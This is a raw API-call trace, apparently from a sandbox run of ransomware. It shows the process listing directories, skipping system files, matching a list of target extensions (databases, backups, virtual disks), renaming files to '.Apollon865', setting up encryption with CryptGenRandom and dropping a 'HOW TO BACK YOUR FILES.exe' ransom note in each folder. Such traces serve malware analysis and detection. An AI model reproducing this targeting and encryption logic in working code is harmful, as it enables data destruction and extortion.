	[0062.490] lstrlenW (lpString="System.ServiceModel.dll") returned 23
	[0062.490] lstrlenW (lpString="Apollon865") returned 10
	[0062.490] lstrcmpiW (lpString1="eModel.dll", lpString2="Apollon865") returned 1
	[0062.490] lstrlenW (lpString=".dll") returned 4
	[0062.490] lstrcmpiW (lpString1="System.ServiceModel.dll", lpString2=".dll") returned 1
	[0062.490] lstrlenW (lpString=".lnk") returned 4
	[0062.490] lstrcmpiW (lpString1="System.ServiceModel.dll", lpString2=".lnk") returned 1
	[0062.490] lstrlenW (lpString=".ini") returned 4
	[0062.490] lstrcmpiW (lpString1="System.ServiceModel.dll", lpString2=".ini") returned 1
	[0062.490] lstrlenW (lpString=".sys") returned 4
	[0062.490] lstrcmpiW (lpString1="System.ServiceModel.dll", lpString2=".sys") returned 1
	[0062.490] lstrlenW (lpString="System.ServiceModel.dll") returned 23
	[0062.490] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Speech.dll" | out: lpString1="System.Speech.dll") returned="System.Speech.dll"
	[0062.490] lstrlenW (lpString="System.Speech.dll") returned 17
	[0062.490] lstrlenW (lpString="Apollon865") returned 10
	[0062.490] lstrcmpiW (lpString1="Speech.dll", lpString2="Apollon865") returned 1
	[0062.490] lstrlenW (lpString=".dll") returned 4
	[0062.490] lstrcmpiW (lpString1="System.Speech.dll", lpString2=".dll") returned 1
	[0062.490] lstrlenW (lpString=".lnk") returned 4
	[0062.490] lstrcmpiW (lpString1="System.Speech.dll", lpString2=".lnk") returned 1
	[0062.490] lstrlenW (lpString=".ini") returned 4
	[0062.490] lstrcmpiW (lpString1="System.Speech.dll", lpString2=".ini") returned 1
	[0062.490] lstrlenW (lpString=".sys") returned 4
	[0062.490] lstrcmpiW (lpString1="System.Speech.dll", lpString2=".sys") returned 1
	[0062.490] lstrlenW (lpString="System.Speech.dll") returned 17
	[0062.491] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Workflow.Activities.dll" | out: lpString1="System.Workflow.Activities.dll") returned="System.Workflow.Activities.dll"
	[0062.491] lstrlenW (lpString="System.Workflow.Activities.dll") returned 30
	[0062.491] lstrlenW (lpString="Apollon865") returned 10
	[0062.491] lstrcmpiW (lpString1="vities.dll", lpString2="Apollon865") returned 1
	[0062.491] lstrlenW (lpString=".dll") returned 4
	[0062.491] lstrcmpiW (lpString1="System.Workflow.Activities.dll", lpString2=".dll") returned 1
	[0062.491] lstrlenW (lpString=".lnk") returned 4
	[0062.491] lstrcmpiW (lpString1="System.Workflow.Activities.dll", lpString2=".lnk") returned 1
	[0062.491] lstrlenW (lpString=".ini") returned 4
	[0062.491] lstrcmpiW (lpString1="System.Workflow.Activities.dll", lpString2=".ini") returned 1
	[0062.491] lstrlenW (lpString=".sys") returned 4
	[0062.491] lstrcmpiW (lpString1="System.Workflow.Activities.dll", lpString2=".sys") returned 1
	[0062.491] lstrlenW (lpString="System.Workflow.Activities.dll") returned 30
	[0062.491] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Workflow.ComponentModel.dll" | out: lpString1="System.Workflow.ComponentModel.dll") returned="System.Workflow.ComponentModel.dll"
	[0062.491] lstrlenW (lpString="System.Workflow.ComponentModel.dll") returned 34
	[0062.491] lstrlenW (lpString="Apollon865") returned 10
	[0062.491] lstrcmpiW (lpString1="tModel.dll", lpString2="Apollon865") returned 1
	[0062.491] lstrlenW (lpString=".dll") returned 4
	[0062.491] lstrcmpiW (lpString1="System.Workflow.ComponentModel.dll", lpString2=".dll") returned 1
	[0062.491] lstrlenW (lpString=".lnk") returned 4
	[0062.491] lstrcmpiW (lpString1="System.Workflow.ComponentModel.dll", lpString2=".lnk") returned 1
	[0062.491] lstrlenW (lpString=".ini") returned 4
	[0062.491] lstrcmpiW (lpString1="System.Workflow.ComponentModel.dll", lpString2=".ini") returned 1
	[0062.491] lstrlenW (lpString=".sys") returned 4
	[0062.491] lstrcmpiW (lpString1="System.Workflow.ComponentModel.dll", lpString2=".sys") returned 1
	[0062.491] lstrlenW (lpString="System.Workflow.ComponentModel.dll") returned 34
	[0062.491] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Workflow.Runtime.dll" | out: lpString1="System.Workflow.Runtime.dll") returned="System.Workflow.Runtime.dll"
	[0062.491] lstrlenW (lpString="System.Workflow.Runtime.dll") returned 27
	[0062.491] lstrlenW (lpString="Apollon865") returned 10
	[0062.491] lstrcmpiW (lpString1="untime.dll", lpString2="Apollon865") returned 1
	[0062.492] lstrlenW (lpString=".dll") returned 4
	[0062.492] lstrcmpiW (lpString1="System.Workflow.Runtime.dll", lpString2=".dll") returned 1
	[0062.492] lstrlenW (lpString=".lnk") returned 4
	[0062.492] lstrcmpiW (lpString1="System.Workflow.Runtime.dll", lpString2=".lnk") returned 1
	[0062.492] lstrlenW (lpString=".ini") returned 4
	[0062.492] lstrcmpiW (lpString1="System.Workflow.Runtime.dll", lpString2=".ini") returned 1
	[0062.492] lstrlenW (lpString=".sys") returned 4
	[0062.492] lstrcmpiW (lpString1="System.Workflow.Runtime.dll", lpString2=".sys") returned 1
	[0062.492] lstrlenW (lpString="System.Workflow.Runtime.dll") returned 27
	[0062.492] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="UIAutomationClient.dll" | out: lpString1="UIAutomationClient.dll") returned="UIAutomationClient.dll"
	[0062.492] lstrlenW (lpString="UIAutomationClient.dll") returned 22
	[0062.492] lstrlenW (lpString="Apollon865") returned 10
	[0062.492] lstrcmpiW (lpString1="Client.dll", lpString2="Apollon865") returned 1
	[0062.492] lstrlenW (lpString=".dll") returned 4
	[0062.492] lstrcmpiW (lpString1="UIAutomationClient.dll", lpString2=".dll") returned 1
	[0062.492] lstrlenW (lpString=".lnk") returned 4
	[0062.492] lstrcmpiW (lpString1="UIAutomationClient.dll", lpString2=".lnk") returned 1
	[0062.492] lstrlenW (lpString=".ini") returned 4
	[0062.492] lstrcmpiW (lpString1="UIAutomationClient.dll", lpString2=".ini") returned 1
	[0062.492] lstrlenW (lpString=".sys") returned 4
	[0062.492] lstrcmpiW (lpString1="UIAutomationClient.dll", lpString2=".sys") returned 1
	[0062.492] lstrlenW (lpString="UIAutomationClient.dll") returned 22
	[0062.492] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="UIAutomationClientsideProviders.dll" | out: lpString1="UIAutomationClientsideProviders.dll") returned="UIAutomationClientsideProviders.dll"
	[0062.492] lstrlenW (lpString="UIAutomationClientsideProviders.dll") returned 35
	[0062.492] lstrlenW (lpString="Apollon865") returned 10
	[0062.492] lstrcmpiW (lpString1="viders.dll", lpString2="Apollon865") returned 1
	[0062.492] lstrlenW (lpString=".dll") returned 4
	[0062.492] lstrcmpiW (lpString1="UIAutomationClientsideProviders.dll", lpString2=".dll") returned 1
	[0062.492] lstrlenW (lpString=".lnk") returned 4
	[0062.492] lstrcmpiW (lpString1="UIAutomationClientsideProviders.dll", lpString2=".lnk") returned 1
	[0062.492] lstrlenW (lpString=".ini") returned 4
	[0062.493] lstrcmpiW (lpString1="UIAutomationClientsideProviders.dll", lpString2=".ini") returned 1
	[0062.493] lstrlenW (lpString=".sys") returned 4
	[0062.493] lstrcmpiW (lpString1="UIAutomationClientsideProviders.dll", lpString2=".sys") returned 1
	[0062.493] lstrlenW (lpString="UIAutomationClientsideProviders.dll") returned 35
	[0062.493] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="UIAutomationProvider.dll" | out: lpString1="UIAutomationProvider.dll") returned="UIAutomationProvider.dll"
	[0062.493] lstrlenW (lpString="UIAutomationProvider.dll") returned 24
	[0062.493] lstrlenW (lpString="Apollon865") returned 10
	[0062.493] lstrcmpiW (lpString1="ovider.dll", lpString2="Apollon865") returned 1
	[0062.493] lstrlenW (lpString=".dll") returned 4
	[0062.493] lstrcmpiW (lpString1="UIAutomationProvider.dll", lpString2=".dll") returned 1
	[0062.493] lstrlenW (lpString=".lnk") returned 4
	[0062.493] lstrcmpiW (lpString1="UIAutomationProvider.dll", lpString2=".lnk") returned 1
	[0062.493] lstrlenW (lpString=".ini") returned 4
	[0062.493] lstrcmpiW (lpString1="UIAutomationProvider.dll", lpString2=".ini") returned 1
	[0062.493] lstrlenW (lpString=".sys") returned 4
	[0062.493] lstrcmpiW (lpString1="UIAutomationProvider.dll", lpString2=".sys") returned 1
	[0062.493] lstrlenW (lpString="UIAutomationProvider.dll") returned 24
	[0062.493] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="UIAutomationTypes.dll" | out: lpString1="UIAutomationTypes.dll") returned="UIAutomationTypes.dll"
	[0062.493] lstrlenW (lpString="UIAutomationTypes.dll") returned 21
	[0062.493] lstrlenW (lpString="Apollon865") returned 10
	[0062.493] lstrcmpiW (lpString1="nTypes.dll", lpString2="Apollon865") returned 1
	[0062.493] lstrlenW (lpString=".dll") returned 4
	[0062.493] lstrcmpiW (lpString1="UIAutomationTypes.dll", lpString2=".dll") returned 1
	[0062.493] lstrlenW (lpString=".lnk") returned 4
	[0062.493] lstrcmpiW (lpString1="UIAutomationTypes.dll", lpString2=".lnk") returned 1
	[0062.493] lstrlenW (lpString=".ini") returned 4
	[0062.493] lstrcmpiW (lpString1="UIAutomationTypes.dll", lpString2=".ini") returned 1
	[0062.493] lstrlenW (lpString=".sys") returned 4
	[0062.493] lstrcmpiW (lpString1="UIAutomationTypes.dll", lpString2=".sys") returned 1
	[0062.493] lstrlenW (lpString="UIAutomationTypes.dll") returned 21
	[0062.494] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="WindowsBase.dll" | out: lpString1="WindowsBase.dll") returned="WindowsBase.dll"
	[0062.494] lstrlenW (lpString="WindowsBase.dll") returned 15
	[0062.494] lstrlenW (lpString="Apollon865") returned 10
	[0062.494] lstrcmpiW (lpString1="wsBase.dll", lpString2="Apollon865") returned 1
	[0062.494] lstrlenW (lpString=".dll") returned 4
	[0062.494] lstrcmpiW (lpString1="WindowsBase.dll", lpString2=".dll") returned 1
	[0062.494] lstrlenW (lpString=".lnk") returned 4
	[0062.494] lstrcmpiW (lpString1="WindowsBase.dll", lpString2=".lnk") returned 1
	[0062.494] lstrlenW (lpString=".ini") returned 4
	[0062.494] lstrcmpiW (lpString1="WindowsBase.dll", lpString2=".ini") returned 1
	[0062.494] lstrlenW (lpString=".sys") returned 4
	[0062.494] lstrcmpiW (lpString1="WindowsBase.dll", lpString2=".sys") returned 1
	[0062.494] lstrlenW (lpString="WindowsBase.dll") returned 15
	[0062.494] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="WindowsFormsIntegration.dll" | out: lpString1="WindowsFormsIntegration.dll") returned="WindowsFormsIntegration.dll"
	[0062.494] lstrlenW (lpString="WindowsFormsIntegration.dll") returned 27
	[0062.494] lstrlenW (lpString="Apollon865") returned 10
	[0062.494] lstrcmpiW (lpString1="ration.dll", lpString2="Apollon865") returned 1
	[0062.494] lstrlenW (lpString=".dll") returned 4
	[0062.494] lstrcmpiW (lpString1="WindowsFormsIntegration.dll", lpString2=".dll") returned 1
	[0062.494] lstrlenW (lpString=".lnk") returned 4
	[0062.494] lstrcmpiW (lpString1="WindowsFormsIntegration.dll", lpString2=".lnk") returned 1
	[0062.494] lstrlenW (lpString=".ini") returned 4
	[0062.494] lstrcmpiW (lpString1="WindowsFormsIntegration.dll", lpString2=".ini") returned 1
	[0062.494] lstrlenW (lpString=".sys") returned 4
	[0062.494] lstrcmpiW (lpString1="WindowsFormsIntegration.dll", lpString2=".sys") returned 1
	[0062.494] lstrlenW (lpString="WindowsFormsIntegration.dll") returned 27
	[0062.495] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="WinFXList.xml" | out: lpString1="WinFXList.xml") returned="WinFXList.xml"
	[0062.495] lstrlenW (lpString="WinFXList.xml") returned 13
	[0062.495] lstrlenW (lpString="Apollon865") returned 10
	[0062.495] lstrcmpiW (lpString1="FXList.xml", lpString2="Apollon865") returned 1
	[0062.495] lstrlenW (lpString=".dll") returned 4
	[0062.495] lstrcmpiW (lpString1="WinFXList.xml", lpString2=".dll") returned 1
	[0062.495] lstrlenW (lpString=".lnk") returned 4
	[0062.495] lstrcmpiW (lpString1="WinFXList.xml", lpString2=".lnk") returned 1
	[0062.495] lstrlenW (lpString=".ini") returned 4
	[0062.495] lstrcmpiW (lpString1="WinFXList.xml", lpString2=".ini") returned 1
	[0062.495] lstrlenW (lpString=".sys") returned 4
	[0062.495] lstrcmpiW (lpString1="WinFXList.xml", lpString2=".sys") returned 1
	[0062.495] lstrlenW (lpString="WinFXList.xml") returned 13
	[0062.495] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.Apollon865") returned 87
	[0062.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.Apollon865" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml.apollon865"), dwFlags=0x1) returned 1
	[0062.497] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.Apollon865" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0062.497] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2578) returned 1
	[0062.497] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0062.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0062.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0062.498] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf678) returned 1
	[0062.499] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0062.499] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0062.499] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd20, lpName=0x0) returned 0x154
	[0062.500] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd20) returned 0x120000
	[0062.501] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf678) returned 1
	[0062.502] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0062.502] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0062.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0062.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0062.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0062.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0062.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0062.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0062.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0062.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0062.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0062.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0062.502] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0062.503] CloseHandle (hObject=0x154) returned 1
	[0062.503] CloseHandle (hObject=0x118) returned 1
	[0062.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0062.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0062.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0062.503] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 0
	[0062.503] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.503] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0062.503] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList", iMaxLength=260 | out: lpString1="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList"
	[0062.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0062.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0062.503] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned 73
	[0062.503] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" | out: lpString1="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList"
	[0062.503] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.503] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.507] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d53b830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d53b830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.507] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.507] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.507] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.507] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d53b830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d53b830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.507] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.507] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.507] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.507] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.508] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="Apollon865.txt.exe") returned 1
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2=".") returned 1
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="..") returned 1
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="windows") returned -1
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="bootmgr") returned 1
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="temp") returned -1
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="pagefile.sys") returned -1
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="boot") returned 1
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="ids.txt") returned -1
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="ntuser.dat") returned -1
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="perflogs") returned -1
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="MSBuild") returned -1
	[0062.508] lstrlenW (lpString="FrameworkList.xml") returned 17
	[0062.508] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*") returned 75
	[0062.508] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="FrameworkList.xml" | out: lpString1="FrameworkList.xml") returned="FrameworkList.xml"
	[0062.508] lstrlenW (lpString="FrameworkList.xml") returned 17
	[0062.508] lstrlenW (lpString="Apollon865") returned 10
	[0062.508] lstrcmpiW (lpString1="rkList.xml", lpString2="Apollon865") returned 1
	[0062.508] lstrlenW (lpString=".dll") returned 4
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2=".dll") returned 1
	[0062.508] lstrlenW (lpString=".lnk") returned 4
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2=".lnk") returned 1
	[0062.508] lstrlenW (lpString=".ini") returned 4
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2=".ini") returned 1
	[0062.508] lstrlenW (lpString=".sys") returned 4
	[0062.508] lstrcmpiW (lpString1="FrameworkList.xml", lpString2=".sys") returned 1
	[0062.508] lstrlenW (lpString="FrameworkList.xml") returned 17
	[0062.508] lstrlenW (lpString="bak") returned 3
	[0062.508] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0062.508] lstrlenW (lpString="ba_") returned 3
	[0062.508] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0062.508] lstrlenW (lpString="dbb") returned 3
	[0062.509] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0062.509] lstrlenW (lpString="vmdk") returned 4
	[0062.509] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0062.509] lstrlenW (lpString="rar") returned 3
	[0062.509] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0062.509] lstrlenW (lpString="zip") returned 3
	[0062.509] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0062.509] lstrlenW (lpString="tgz") returned 3
	[0062.509] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0062.509] lstrlenW (lpString="vbox") returned 4
	[0062.509] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0062.509] lstrlenW (lpString="vdi") returned 3
	[0062.509] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0062.509] lstrlenW (lpString="vhd") returned 3
	[0062.509] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0062.509] lstrlenW (lpString="vhdx") returned 4
	[0062.509] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0062.509] lstrlenW (lpString="avhd") returned 4
	[0062.509] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0062.509] lstrlenW (lpString="db") returned 2
	[0062.509] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0062.509] lstrlenW (lpString="db2") returned 3
	[0062.509] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0062.509] lstrlenW (lpString="db3") returned 3
	[0062.509] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0062.509] lstrlenW (lpString="dbf") returned 3
	[0062.509] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0062.509] lstrlenW (lpString="mdf") returned 3
	[0062.509] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0062.509] lstrlenW (lpString="mdb") returned 3
	[0062.509] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0062.509] lstrlenW (lpString="sql") returned 3
	[0062.509] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0062.509] lstrlenW (lpString="sqlite") returned 6
	[0062.509] lstrcmpiW (lpString1="st.xml", lpString2="sqlite") returned 1
	[0062.510] lstrlenW (lpString="sqlite3") returned 7
	[0062.510] lstrcmpiW (lpString1="ist.xml", lpString2="sqlite3") returned -1
	[0062.510] lstrlenW (lpString="sqlitedb") returned 8
	[0062.510] lstrcmpiW (lpString1="List.xml", lpString2="sqlitedb") returned -1
	[0062.510] lstrlenW (lpString="xml") returned 3
	[0062.510] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0062.510] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.Apollon865") returned 102
	[0062.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.Apollon865" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml.apollon865"), dwFlags=0x1) returned 1
	[0062.511] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.Apollon865" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0062.511] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=7124) returned 1
	[0062.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0062.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0062.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
